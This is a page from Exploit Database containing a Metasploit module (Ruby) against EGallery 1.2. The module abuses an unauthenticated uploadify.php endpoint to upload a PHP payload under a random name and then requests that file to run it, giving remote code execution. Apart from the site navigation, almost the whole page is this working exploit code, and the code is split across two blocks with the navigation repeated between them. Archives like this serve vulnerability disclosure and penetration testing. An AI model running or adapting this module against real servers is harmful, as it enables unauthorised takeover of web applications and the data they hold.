



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# EGallery - Arbitrary '.PHP' File Upload (Metasploit)

**EDB-ID:**

20029

**CVE:**

**EDB Verified:** 

**Author:**

[METASPLOIT](#)

**Type:**

[WEBAPPS](#)

**Exploit:**   / 

**Platform:**

[PHP](#)

**Date:**

2012-07-23

**Vulnerable App:**



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'          => "EGallery PHP File Upload Vulnerability",
      'Description'   => %q{
        This module exploits a vulnerability found in EGallery
        1.2 By abusing the
          uploadify.php file, a malicious user can upload a file to
        the egallery/ directory
          without any authentication, which results in arbitrary code
        execution. The module
          has been tested successfully on Ubuntu 10.04.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Sammy FORGIT', # Discovery, PoC
          'juan' # Metasploit module
        ],
      'References'    =>
        [
          ['OSVDB', '83891'],
          ['BID', '54464'],
          ['URL', 'http://www.opensyscom.fr/Actualites/egallery-
arbitrary-file-upload-vulnerability.html']
        ],
      'Payload'       =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions' =>
        {
          'ExitFunction' => "none"
        },
      'Platform'      => ['php'],
      'Arch'          => ARCH_PHP,
      'Targets'       =>
        [
          ['EGallery 1.2', {}]
        ],
      'Privileged'    => false,
      'DisclosureDate' => "Jul 08 2012",
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to
EGallery', '/sample'])
      ], self.class)
  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'
  end
end
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

res = send_request_cgi({
  'method' => 'GET',
  'uri'     => "#{uri}egallery/uploadify.php"
})

if res and res.code == 200 and res.body.empty?
  return Exploit::CheckCode::Detected
else
  return Exploit::CheckCode::Safe
end
end

def exploit
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'

  peer = "#{rhost}:#{rport}"
  payload_name = rand_text_alpha(rand(10) + 5) + '.php'
  boundary = Rex::Text.rand_text_hex(7)

  post_data = "--#{boundary}\r\n"
  post_data << "Content-Disposition: form-data;
name=\"Filename\"\r\n\r\n"
  post_data << "#{payload_name}\r\n"
  post_data << "--#{boundary}\r\n"
  post_data << "Content-Disposition: form-data;
name=\"folder\"\r\n\r\n"
  post_data << "#{uri}\r\n"
  post_data << "--#{boundary}\r\n"
  post_data << "Content-Disposition: form-data; name=\"Filedata\";
filename=\"#{payload_name}\"\r\n\r\n"
  post_data << "<?php "
  post_data << payload.encoded
  post_data << " ?>\r\n"
  post_data << "--#{boundary}--\r\n"

  print_status("#{peer} - Sending PHP payload (#{payload_name})")
  res = send_request_cgi({
    'method' => 'POST',
    'uri'     => "#{uri}egallery/uploadify.php",
    'ctype'   => "multipart/form-data; boundary=#{boundary}",
    'data'    => post_data
  })

  # If the server returns 200 and the body contains our payload name,
  # we assume we uploaded the malicious file successfully
  if not res or res.code != 200 or res.body !~ /#{payload_name}/
    print_error("#{peer} - File wasn't uploaded, aborting!")
    return
  end

  print_status("#{peer} - Executing PHP payload (#{payload_name})")
  # Execute our payload
  res = send_request_cgi({
    'method' => 'GET',
    'uri'     => "#{uri}#{payload_name}"
  })

  # If we don't get a 200 when we request our malicious payload, we
  suspect
  # we don't have a shell, either. Print the status code for
  debugging purposes.
  if res and res.code != 200
    print_status("#{peer} - Server returned #{res.code.to_s}")
  end
end
end

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

ETU

Tags: [Metasploit Framework \(MSF\)](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.